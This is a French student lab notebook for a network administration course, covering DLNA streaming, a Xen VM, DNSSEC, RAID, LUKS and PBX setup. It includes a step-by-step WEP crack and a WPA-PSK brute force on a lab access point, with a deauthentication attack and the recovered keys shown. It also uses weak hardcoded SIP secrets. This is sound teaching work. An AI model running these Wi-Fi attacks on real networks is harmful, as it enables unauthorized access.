Cahier groupe n°9
Sommaire
Cahier des charges de la tâche particulière
Présentation de la tâche particulière
Le but de la tâche est de réussir une communication entre un PC ou un Smartphone avec une télévision équipée d'une clé DLNA/Miracast. Cette tâche est relativement simple avec certains logiciels ou même nativement avec un smartphone. Seulement, il s'agit essentiellement de dossiers partagés. En règle générale, les médias se trouvent sur un support qui sert de serveur et depuis la télévision nous allons chercher le média qui nous intéresse. Notre tâche est de trouver une solution pour que depuis un ordinateur sous Debian, il soit possible de lancer un média sur la télévision.
Matériel utilisé pour la tâche particulière
A l'origine, le matériel utilisé était une simple clé DLNA qui doit être banchée sur la télévision via un port HDMI. Après avoir réalisé quelques recherches sur cette clé, nous avons rencontré un problème. Il y avait un manque cruel de configuration de celle-ci et peu de documentation. De plus, après un essai avec un smartphone, la communication était très mauvaise et une vidéo n'était pas du tout fluide. Nous avons donc souhaité utilisé un Raspberry Pi qui permet de réaliser une configuration plus complète.
Suivi de l'avancement du TP
Semaine 1 - Prise en main
Tout d'abord, nous découvrons le matériel à notre disposition et réalisons une recherche documentaire sur celui-ci et sur le protocole DLNA. Le protocole DLNA (Digital Living Network Alliance) différencie tous les appareils en fonction de leur fonction. Nous pouvons trouver :
- Digital Media Server (DMS) : Ces appareils fournissent les contenus numériques et leur liste aux players (DMP) et aux renderers (DMR) (ex: un PC, un NAS)
- Digital Media Player (DMP) : Ces appareils peuvent trouver des contenus numériques sur le réseau (depuis les serveurs DMS), les lister et les jouer (ex: télévision compatible DLNA, système Home Cinema ou consoles de jeux)
- Digital Media Renderer (DMR) : Ces appareils décodent et jouent des contenus numériques envoyés par des contrôleurs (DMC) (ex: télévision compatible DLNA, haut-parleur contrôlable à distance (remote speaker)…)
- Digital Media Controller (DMC) : Ces appareils permettent de parcourir les contenus proposés par les serveurs (DMS) et de les faire jouer par les renderers (ex : application mobile de télécommande pour smartphone).
Donc le PC sous Debian doit donc être un DMS et servir de serveur afin de fournir le média à diffuser et l'ensemble télévision + clé DLNA joue le rôle de DMR.
Nous avons également pris en main l'eeePC et fait sa configuration réseau.
Semaine 2 - Test de la clé DLNA
Après avoir compris le fonctionnement global du protocole DLNA, nous avons cherché à faire fonctionner la clé DLNA de la marque Meeboss.
Pour cela, nous devions avoir un réseau local Wifi. Nous avons donc commencé par configurer une borne Wifi. A la suite de cela, nous avons connecté un smartphone et la clé DLNA à ce réseau Wifi. Grâce à l'option "Share" ou "Throw" nous avons réussi à lancer un média. Nous savions également que le lecteur de média de Windows permet d'utiliser ce protocole. Nous avons donc réalisé un nouveau test avec une vidéo. La communication et le partage se fait mais avec une très mauvaise qualité ...
Nous avons donc tenté de faire une mise a jour de l'OS de la clé DLNA mais la qualité était la même. De plus, la page de configuration était toujours aussi peu fournie.
Nous tentons maintenant d'installer un serveur DLNA sur l'eeePC
Semaine 3
- installation de plusieurs logiciels pour communiquer avec la clé DLNA/Miracast sans succès
- création machine virtuelle :
xen-create-image --hostname=levrette --ip=193.48.57.169 --netmask=255.255.255.240 --gateway=193.48.57.174 --dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd
- visualisation de l'installation
tail -f /var/log/xen-tools/levrette.log
- démarrage vm en mode console
xl console levrette
- installation des paquets SSH, apache2 et bind9
- commande nom de domaine
- création des clés :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout levrette.key -out levrette.csr
- commande du certificat SSL
- démarrer la machine virtuelle :
xl create -c /etc/xen/levrette.cfg
- modification du fichier de configuration : ajout du bridge=IMA5sc et taille mémoire à 512
Semaine 4
- création des 2 partitions LVS :
lvcreate -L 10G -n /dev/virtual/ima5-levrette-home -v lvcreate -L 10G -n /dev/virtual/ima5-levrette-var -v
- ajout des partitions dans le fichier de configuration :
disk = [ 'file:/usr/local/xen/domains/levrette/disk.img,xvda2,w', 'file:/usr/local/xen/domains/levrette/swap.img,xvda1,w', 'phy:/dev/virtual/ima5-levrette-home,xvdc,w', 'phy:/dev/virtual/ima5-levrette-var,xvdb,w', ]
- Connexion Wifi:
- Connexion sur troubadour: ajout de l'adresse mac sur la borne Cisco ajout des paramètres dans etc/network/interfaces
- Connexion sur baguette: changement dans ifconfig du ssid ifconfig wlan0 hw ether 00:15:af:e7:19:f3
Semaine 5
- Activation module SSL pour Apache
a2enmod ssl
- Ecoute sur le port 443
<IfModule ssl_module> Listen 443 NameVirtualHost 193.48.57.169:443 </IfModule>
- Ajout du VirtualHost
NameVirtualHost *:443 <VirtualHost *:443> ServerName bonne.levrette.lol ServerAlias levrette.lol DocumentRoot /var/www/levrette/ CustomLog /var/log/apache2/secure_access.log combined SSLEngine on SSLCertificateFile /etc/ssl/certs/levrette.crt SSLCertificateKeyFile /etc/ssl/private/levrette.key SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem SSLVerifyClient None </VirtualHost>
- Mise en place du serveur DNS
- fichier de zone dans : /etc/bind/levrette.lol
$TTL 604800 @ IN SOA ns.levrette.lol. root.levrette.lol. ( 2015102211 ; Serial 86400 ; Refresh 3600 ; Retry 2419200 ; Expire 86400 ) ; Negative Cache TTL @ IN NS ns.levrette.lol. @ IN NS ns6.gandi.net. ns IN A 193.48.57.169 www IN A 193.48.57.169 bonne IN A 193.48.57.169 @ IN A 193.48.57.169 ns IN AAAA 2001:660:4401:60bb:216:3eff:fe26:724d www IN AAAA 2001:660:4401:60bb:216:3eff:fe26:724d bonne IN AAAA 2001:660:4401:60bb:216:3eff:fe26:724d @ IN AAAA 2001:660:4401:60bb:216:3eff:fe26:724d
- fichier de zone inverse : /ect/bind/57.48.193.in-addr.arpa
$TTL 604800 @ IN SOA ns.levrett/etc/bind/levrette.lole.lol. root.levrette.lol. ( 2015102001 ;serial 14400 ;refresh 3600 ;retry 604800 ;expire 10800 ;minimum ) 57.48.193.in-addr.arpa. IN NS ns.levrette.lol. 57.48.193.in-addr.arpa. IN NS ns6.gandi.net. 169 IN PTR levrette.lol.
- utilisation de ces zones dans le fichier principal :
zone "levrette.lol" IN { # Zone de type maître type master; # Fichier de zone file "/etc/bind/levrette.lol/db.levrette.lol"; }; zone "57.48.193.in-addr.arpa" IN { type master; file "/etc/bind/57.48.193.in-addr.arpa"; allow-transfer { 217.70.177.40; }; };
- génération des clés ZSK et KSK:
dnssec-keygen -a RSASHA1 -b 2048 -r /dev/urandom -f KSK -n ZONE levrette.lol dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE levrette.lol
- on déplace les clés dans le dossier : /etc/bind/levrette.lol.dnssec/
-rw-r--r-- 1 root bind 169 Oct 22 18:44 dsset-levrette.lol. -rw-r--r-- 1 root root 607 Oct 22 17:20 levrette-ksk.key -rw------- 1 root root 1774 Oct 22 17:20 levrette-ksk.private -rw-r--r-- 1 root root 433 Oct 22 17:21 levrette-zsk.key -rw------- 1 root root 1010 Oct 22 17:21 levrette-zsk.private
- ajout des clés dans le fichier : /etc/bind/levrette.lol
$include /etc/bind/levrette.lol.dnssec/levrette-ksk.key $include /etc/bind/levrette.lol.dnssec/levrette-zsk.key
- On fournit les clé à Gandi
- signature de la zone
dnssec-signzone -o levrette.lol -k levrette-ksk ../db.levrette.lol levrette-zsk
- modification dans le fichier named.conf.local, on renomme le fichier : db.levrette.lol en : db.levrette.lol.signed
Semaine 6
Semaine 7
5.2 Cassage de clef WEP d'un point d'accès Wifi
- airmon-ng start wlan0
- airodump-ng --encrypt wep wlan0
00:23:5E:1E:05:48 -46 30 0 0 7 54e. WEP WEP cracotte09
- airodump-ng -w out -c 7 --bssid 00:23:5E:1E:05:48 mon0
- aircrack-ng out-04.cap
Aircrack-ng 1.2 beta3 [00:00:00] Tested 851 keys (got 65535 IVs) KB depth byte(vote) 0 0/ 9 55(79616) 77(75520) 95(75264) 09(74752) 8C(74240) F3(73728) 17(73472) 1 0/ 1 2E(95232) CF(76800) 6E(76032) D0(75776) FE(75776) 2B(74752) F4(73984) 2 0/ 1 55(92672) 4F(80896) CE(79104) B2(75776) A4(75520) 7C(74496) CD(73984) 3 9/ 3 F7(73472) 34(72960) 3B(72960) 6A(72960) 07(72192) 27(72192) 43(72192) 4 0/ 4 A9(89088) 4C(75264) 7F(75264) 06(74240) 65(73728) 68(73472) 9E(73472) KEY FOUND! [ 55:55:55:55:55:55:55:55:51:11:11:11:11 ] Decrypted correctly: 100%
6.1 Sécurisation de données
- créations des trois partitions LVM de 1Go :
lvcreate -L 1G -n /dev/virtual/ima5-levrette-raidA -v lvcreate -L 1G -n /dev/virtual/ima5-levrette-raidB -v lvcreate -L 1G -n /dev/virtual/ima5-levrette-raidC -v
- ajout des partitions dans le fichier de configuration :
disk = [ 'file:/usr/local/xen/domains/levrette/disk.img,xvda2,w', 'file:/usr/local/xen/domains/levrette/swap.img,xvda1,w', 'phy:/dev/virtual/ima5-levrette-home,xvdc,w', 'phy:/dev/virtual/ima5-levrette-var,xvdb,w', 'phy:/dev/virtual/ima5-levrette-raidA,xvdd,w', 'phy:/dev/virtual/ima5-levrette-raidB,xvde,w', 'phy:/dev/virtual/ima5-levrette-raidC,xvdf,w', ]
- création du raid5 logiciel :
mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd /dev/xvde /dev/xvdf
- on s'arrange pour que le système charge le volume à chaque démarrage :
mdadm --monitor --daemonise /dev/md0
- grâce à un fdisk -l on retrouve le volume md0 qui vient d'être créer :
Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 524288 bytes / 1048576 bytes
- on vérifie que l'on a bien créer notre raid5 avec la commande :
mdadm --detail /dev/md0
- on obtient :
/dev/md0: Version : 1.2 Creation Time : Mon Nov 9 16:08:23 2015 Raid Level : raid5 Array Size : 2095104 (2046.34 MiB 2145.39 MB) Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB) Raid Devices : 3 Total Devices : 3 Persistence : Superblock is persistent Update Time : Mon Nov 9 16:08:23 2015 State : clean Active Devices : 3 Working Devices : 3 Failed Devices : 0 Spare Devices : 0 Layout : left-symmetric Chunk Size : 512K Name : levrette:0 (local to host levrette) UUID : 0b73ee6c:7e92c6a4:3d5187c4:2ed0f75f Events : 0 Number Major Minor RaidDevice State 0 202 48 0 active sync /dev/xvdd 1 202 64 1 active sync /dev/xvde 2 202 80 2 active sync /dev/xvdf
on remarque que l'on a bien un raid 5, que trois volumes sont actifs et qu'il s'agit bien de nos trois partitions LVM xvdd, xvde, xvdf.
Après un reboot, on remarque que la VM a un problème avec le montage de md0. On remarque maintenant que le volume que l'on avait appelé md0 s'appelle maintenant md127. Afin de régler le problème au démarrage, au lieu de préciser le chemin, on précise UUID dans /etc/fstab :
UUID=bfc0b53b-d73a-495c-9fdc-a786a1804c5e /media/raid ext4 defaults 0 1
- Test du raid lorsque l'on ôte un disque :
on remarque que la VM démarre en mode urgence. Si on examine l'état du raid, on obtient :
/dev/md127: Version : 1.2 Raid Level : raid0 Total Devices : 2 Persistence : Superblock is persistent State : inactive Name : levrette:0 (local to host levrette) UUID : 0f3cbea1:27331f6c:ce16f3cd:404f5595 Events : 2 Number Major Minor RaidDevice - 202 48 - /dev/xvdd - 202 64 - /dev/xvde
- Grâce à cette commande (cat /proc/mdstat), il est également possible de voir que notre raid n'est pas fonctionnel mais il est juste inactif :
Personalities : md127 : inactive xvdd[0](S) xvde[1](S) 2095104 blocks super 1.2 unused devices: <none>
- On remonte le disque, puis on redémarre la VM. On se rend compte que le raid redémarre et est actif. Tout va bien.
6.2 Cryptage de données
Création du cryptage de la carte mémoire
cryptsetup luksFormat -c aes -h sha256 /dev/sda1
On peut vérifier qu'une clef existe bien a l'aide de la commande
cryptsetup luksDump /dev/sda1
Montage :
cryptsetup luksOpen /dev/sda1 levrette
Formatage pour la première utilisation :
mkfs.ext3 /dev/mapper/levrette mke2fs 1.42.12 (29-Aug-2014) En train de créer un système de fichiers avec 3971328 4k blocs et 993568 i-noeuds. UUID de système de fichiers=05607bf6-4a05-4ea9-a7e4-67f2fed01834 Superblocs de secours stockés sur les blocs : 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208 Allocation des tables de groupe : complété Écriture des tables d'i-noeuds : complété Création du journal (32768 blocs) : complété Écriture des superblocs et de l'information de comptabilité du système de fichiers : complété
Montage de la partition :
mount -t ext3 /dev/mapper/levrette /mnt/
Il suffit ensuite de mettre ce que l'on souhaite sur la carte et ensuite de la démonter a l'aide des commandes suivantes :
umount /mnt cryptsetup luksClose levrette
Semaine 8
Cassage de mot de passe WPA-PSK par force brute
- airodump-ng --encrypt wpa wlan0
04:DA:D2:9C:50:58 -49 33 0 0 12 54e. WPA2 CCMP PSK cracotte09
- airmon-ng
- airodump-ng -w psk -c 12 --bssid 04:DA:D2:9C:50:58 wlan0
CH 12 ][ Elapsed: 42 s ][ 2015-11-19 11:47 ][ WPA handshake: 04:DA:D2:9C:50:58 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 04:DA:D2:9C:50:58 -61 13 348 55 0 12 54e. WPA2 CCMP PSK cracotte09 BSSID STATION PWR Rate Lost Frames Probe 04:DA:D2:9C:50:58 24:77:03:24:8E:30 -67 54e- 1e 0 42
- aireplay-ng -0 1 -a 04:DA:D2:9C:50:58 -c 24:77:03:24:8E:30 wlan0
11:58:39 Waiting for beacon frame (BSSID: 04:DA:D2:9C:50:58) on channel 12 11:58:39 Sending 64 directed DeAuth. STMAC: [24:77:03:24:8E:30] [ 1|59 ACKs]
- aircrack-ng -w pass.lst -b 04:DA:D2:9C:50:58 /media/pifou/BLBL/psk-01.cap
Aircrack-ng 1.2 beta3 [01:00:20] 12399912 keys tested (3545.58 k/s) KEY FOUND! [ 12399909 ] Master Key : DE 3D 6E B8 2D DE 1A 72 C1 D5 95 CA D7 CE D5 52 78 BA 44 81 64 D7 A3 4B DF 49 61 94 0D A8 DB 8A Transient Key : 11 04 88 FA 35 7F 5F 96 CE F1 42 A0 F0 A2 EB 37 93 ED 5D 19 D4 4A 52 41 37 83 F5 CA 30 64 A7 E1 CB 40 AD CB AE E5 37 0B C3 E3 A8 1E DA B0 FE 66 2F 5B A8 1C F2 99 A1 51 7E 95 0E BB A3 3E 64 D1 EAPOL HMAC : 86 A9 60 27 DF C1 BA F5 F0 52 70 DE BF A5 36 4D
Semaine 9
- correction du dnssec, le Expire a al valeur maximale recommandée par les RFC de 28 jours, et nous avions dépassé ce délai. Nous avons donc resigné les zones, pour 28 jours.
- configuration borne Wifi :
aaa group server radius radius_levrette server 193.48.57.169 auth-port 1812 acct-port 1813 aaa authentication login eap_levrette group radius_levrette dot11 ssid levrette vlan 19 authentication open eap eap_levrette authentication network-eap eap_levrette authentication key-management wpa mbssid guest-mode interface Dot11Radio0 no ip address no ip route-cache encryption vlan 19 mode ciphers aes-ccm tkip ssid levrette interface Dot11Radio0.19 encapsulation dot1Q 19 no ip route-cache bridge-group 19 bridge-group 19 subscriber-loop-control bridge-group 19 spanning-disabled bridge-group 19 block-unknown-source no bridge-group 19 source-learning no bridge-group 19 unicast-flooding interface GigabitEthernet0.19 encapsulation dot1Q 19 no ip route-cache bridge-group 19 bridge-group 19 spanning-disabled no bridge-group 19 source-learning radius-server host 193.48.57.169 auth-port 1812 acct-port 1813 key 7 0507031933495A1D1C
Semaine 10
- Connection à notre réseau wifi :
auto wlan0 iface wlan0 inet static address 172.20.19.10 netmask 255.255.255.0 gateway 172.20.19.254 wpa-ssid levrette wpa-key-mgmt WPA-EAP wpa-identity nom_utilisateur wpa-password mot_de_passe
- intallation du serveur dhcp :
apt-get install isc-dhcp-server
- configuration du serveur dhcp :
vim /etc/dhcp/dhcpd.conf option domain-name "levrette.lol"; option domain-name-servers ns.levrette.lol; subnet 172.20.19.0 netmask 255.255.255.0 { range 172.20.19.20 172.20.19.40 option routers 172.20.19.254 }
- PCBX :
- Configuration :
fichier sip.conf : [general] hasvoicemail = yes hassip = yes hasiax = yes callwaiting = yes threewaycalling = yes callwaitingcallerid = yes transfer = yes canpark = yes cancallforward = yes callreturn = yes callgroup = 1 pickupgroup = 1 nat = yes [6001] type=peer host=dynamic dtmfmode=rfc2833 disallow=all allow=ulaw fullname = brunette username = brunette secret=bonne context = work [6002] type=peer host=dynamic dtmfmode=rfc2833 disallow=all allow=ulaw fullname = blondinette username = blondinette secret=bonne context = work fichier extensions.conf : [work] exten => _6XXX,1,Dial(SIP/${EXTEN},20) exten => _6XXX,2,Hangup()